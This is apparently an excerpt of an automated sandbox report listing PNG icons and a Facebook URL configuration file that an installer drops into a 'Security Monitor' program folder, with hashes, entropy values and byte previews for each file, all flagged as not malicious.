Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Messages.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Notifications.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Replies.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-15P39.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-21EO6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-IKQ7D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\is-LGHO3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [News]
Category:	dropped
Size (bytes):	859
Entropy (8bit):	4.858296034006616
Encrypted:	false
SSDEEP:	12:Ty3COfcKd063/4Ga1rmWCdmr1gm+amVyxpgmkmAEnnmmImC4dmEnq:+kKGQiC5Enrq
MD5:	4A6A1B208E79D27168441977D43897FC
SHA1:	FAE08C5EF8DB510F634E46623AB09C63EA9C3F8A
SHA-256:	F2B9D0C45FA2A9B15BB9694C26BD75B45B4E011B99D80604D2984C0F856B2AD9
SHA-512:	79E43D69F7973750B534BDE680380BC912B906F3D3D848255BA3F8ADE4DC7FAD460CD0FF14230AEAED4285F291D6510AF57FA1F9876ABEFDE1F6D56890B35D03
Malicious:	false
Reputation:	unknown
Preview:	[Welcome]..ID="facebook.com/?sk=welcome"..[News]..ID="facebook.com/?sk=nf"..[Messages]..ID="facebook.com/messages"..[Events]..ID="facebook.com/events"..[Find friends]..ID="facebook.com/find-friends/browser"..[Invite friends]..ID="facebook.com/?sk=ff"..[Friends]..ID="facebook.com/lists"..[Friends List]..ID="/friends?ft_ref=flsa"..[Groups]..ID="facebook.com/bookmarks/groups"..[Settings]..ID="facebook.com/settings?tab=account"..[Security]..ID="facebook.com/settings?tab=security"..[Notifications]..ID="facebook.com/settings?tab=notifications"..[Subscribers]..ID="facebook.com/settings?tab=subscribers"..[Apps]..ID="facebook.com/settings?tab=applications"..[Payments]..ID="facebook.com/settings?tab=payments"..[Facebook Ads]..ID="facebook.com/settings?tab=ads"..[Gifts]..ID="facebook.com/settings?tab=gifts"..[Privacy]..ID="facebook.com/settings/?tab=privacy"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Apps.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	409
Entropy (8bit):	7.015430309226083
Encrypted:	false
SSDEEP:	12:6v/78/ntuuZyeN46QM3TNzORtgDjrSNNXH:j1yA47QRORtgXuL
MD5:	45409D06153FF84BDB5AB3E30C7CAB12
SHA1:	AB84313D7A29E9D9C6308E3B99CB247AAADE34C4
SHA-256:	52611BFC775199483CF8216F2FAEC18FD56B9D895A1173338B36BE5F14F5FC06
SHA-512:	7C21E74A7787B1F26F0A5A4ADC4B4D469C069F6A066E4AE45D72F5515696313BAEC74C9435E04B812521339918E08E2136EBAA81E4351053AF9D372BB372F377
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O.S...0....fH&........3S.......f0s.}......Z...5...-,aM^zw.{}m..2..x...2.YC....$..u..........9I..-...(.R wf.G..0....>+...lr..f../R*q.q.3.......4M.`..q.c.....$6M..1&.K.F{.6....U=I..?...M.h1dFQd.`.#...zew..\.EAA......v...$...\.$.S.....K.W.b.d...w.....R.F......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Events.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 15 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	304
Entropy (8bit):	6.615232112735145
Encrypted:	false
SSDEEP:	6:6v/lhP8LMR/C+wZA3te4YeOiG/WrSUAHmrOk3I9/t6CEyO9hbp:6v/7V/nw5WGUAHmrJ3Wl3Ol
MD5:	7710D6BF6295D39378CE75797D7509B5
SHA1:	090E061712842B2611BDDF21DE8FDC016DE827AB
SHA-256:	3A098E07391825DB6349455DAF4215AE19C52A55B6838F7539FC1D439F5988A0
SHA-512:	725B1F1292B10C80FAF1B3F9799A8833866829687A798037FEA2477F8E567E077FD2868B1B177D74B7C8C86F501C8E9706733D600774BECB53141BD136C98F5B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............V%.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.``........@..:;..A........w...'..5W...'....h.a...Pw0..lb 9..0..q.."..Z.~.9..C.....31....Dk.16..g....b.>.`#..;W.....A.1H=H.C....Pc...b.>. ..b)2........+4F....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Facebook Ads.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	6.94896891695791
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te4bUHmsrNAhcSAZF8qYe+QRePg5gJjsDzEm2I81SwJL2l/sc:6v/78/nXUfyFM8q5Ig5gIzjMZSN
MD5:	4C24F1DEA3731AF8E87753BF5809B7AA
SHA1:	E66175AEF9B3B505215D5B8E2502C78A6662493A
SHA-256:	501002F4107D366ABFD5659C858B56EF0A46C053236A83C2BF44AEAA4D41F510
SHA-512:	7AE28379921677BAAD7C011A4FD5D8BC61740A4F4F51D4C726B7765AD0FA4FAE098F3B3EC6E05043DB050F2E0028265DE7A2FE7943A6462790B590FF8787C917
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8OcH....V. ..c..@._\|xD....4.....a.......:r.A\..?..dt.A....'.A.P.x...H".e...}...O....H.n..G..#cl. k...b.....#cl. ..s...W..............l..n.......A.$.w...g..0<E....}...Y.,.7...s..S..?y...A.%].Q0..dq.. ...'U.DE....3.Y.l...........HpJ.e@......?y..'~...n.@.q*@....Pm...uJ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Find friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	414
Entropy (8bit):	6.921441707444873
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNq0dooGB9bqqTLPolIae+w2iYjDbg2UOj93OFo4wrbp:6v/78/nilvunTLseF2iYjfg29VOFS
MD5:	6D7B39EE6BA125324EC0457FB8B1CF30
SHA1:	E7B708B0D544F6B3137AB7E06914C8F318859DB3
SHA-256:	7A9A198F92900BF042FEDB164367091853F9E3517B389197234889E68A05B04E
SHA-512:	14CFE6B76479E2BD27E8893E2096B1A27B9B8726E3D70F64F163BEAD669E06D793AD176DF19073ECD5D491E7386A66F74E7AE8734DAC56DD292E401BD2382033
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.T .q....U.Sk6.'.a5...o..............dHd....W...0s...E+)0`.. .IrA.P....h.y..v....Y.......gff.1H....n.O.^.6..I.e#;.....G. .....n3.v...Ov.1...@..0 .a.........S...a@$0.;g.B..f.6..x!...}.!..t\|........#...+..._..?..dL(.a..v.O...}.......F..8...P.3A6.'&..P.....e.K......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Friends List.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Gifts.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	331
Entropy (8bit):	6.6701546506374205
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teRZQUgXtmGvGDJ0IkloKlVJjh60HEwTp:6v/78/nGboZvGDQbRF9
MD5:	CC83BBCB39E5B47545CBDFBABFE69864
SHA1:	C2EBFD1842B6877B69F32E00AE7A55BCFA063802
SHA-256:	71197BC1C1D20F42851D4F5ABD91CD47D6C52E9C0100CEC8FBCC57B2E515B4B3
SHA-512:	929369F0D508A6326C0019701CA56E4694109DF2D2EE5372B6F2227F16E7FAC367263CF4065E8E493CC2D69129C116D582076040CBC71A70AF4CCD128BC62165
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc` ..t.>....9A.@E.../...b. ...`..H...Ob..).j...?.q..........0A5&!..r..T\|1A......c.Wpj..R....I.....4......K......@z....4......../ ?.;~..o.4.....(.......E%z....J.@J@"..r.....".#....4.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Groups.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Invite friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Messages.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\News.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Notifications.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Payments.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	307
